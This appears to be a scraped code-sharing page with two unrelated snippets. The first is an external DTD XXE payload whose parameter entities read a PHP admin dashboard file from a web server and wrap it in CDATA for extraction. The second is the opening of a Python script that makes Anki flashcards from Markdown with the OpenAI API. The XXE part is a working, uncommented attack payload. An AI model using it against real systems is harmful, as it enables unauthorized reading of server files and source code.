This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % file SYSTEM "file:///var/www/html/skygenerator/public/admin_dashboard.php"> | |
<!ENTITY % start "<![CDATA["> | |
<!ENTITY % end "]]>"> | |
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pathlib import Path | |
import openai | |
import tiktoken | |
from langchain.text_splitter import RecursiveCharacterTextSplitter | |
import yaml | |
# program that reads MD files, calls OpenAI API with GPT 4 to generate flashcards for a knowledge base ANKI deck | |
config = yaml.safe_load(open("ankify.yml")) | |
directory = Path(config["base_dir"]) | |
encoding = tiktoken.encoding_for_model("gpt-4") |